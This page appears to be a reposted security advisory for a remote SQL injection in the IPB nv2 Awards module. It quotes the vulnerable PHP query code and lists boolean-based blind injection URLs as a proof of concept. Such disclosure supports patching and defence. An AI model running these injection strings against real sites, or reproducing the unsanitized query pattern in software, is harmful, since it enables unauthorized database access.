IPB (nv2) Awards above 1.1.0 remote SQL injection

2010-02-01 / 2010-02-02
Credit: fred777
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

################################################# + + IPB (nv2) Awards > 1.1.0 SQL Injection PoC + ################################################# + + Author: fred777 - [fred777.de] + Date: 29.01.2010 + Link: http://forums.invisionize.com/nv2-Awards-120-t137847.html + Vuln: index.php?autocom=awards&do=view&id=1 + Greetzz to: Back2hack.cc + Contact: nebelfrost77@googlemail.com + ################################################# --[ Vuln Code ] -- $this->ipsclass->DB->build_query( array( 'select' => 'a.user_id', 'from' => array( 'awarded' => 'a' ), 'where' => 'a.award_id=' . $this->ipsclass->input['id'], 'add_join' => array( 0 => array( 'select' => 'm.members_display_name', 'from' => array( 'members' => 'm' ), 'where' => 'm.id=a.user_id', 'type' => 'left', ) ), ) ); -------------------------------------------------------------------------------------- 'select' => '*', 'from' => 'awards', 'where' => 'id = "' . $_POST['award'] . '"', ) ); -------------------------------------------------------------------------------------- $award_dat['user_id'] = $_GET['id']; $award_dat['award_id'] = $_POST['award']; ################################################ --[ Exploitable ]-- www.seite.de/index.php?autocom=awards&do=view&id=1[SQL INJECTION] www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=1 > true www.seite.de/index.php?autocom=awards&do=view&id=1+and+1=0 > false www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5 www.seite.de/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4 ################################################

References:

http://www.exploit-db.com/exploits/11297
http://secunia.com/advisories/38407
http://packetstormsecurity.org/1001-exploits/ipbawards-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top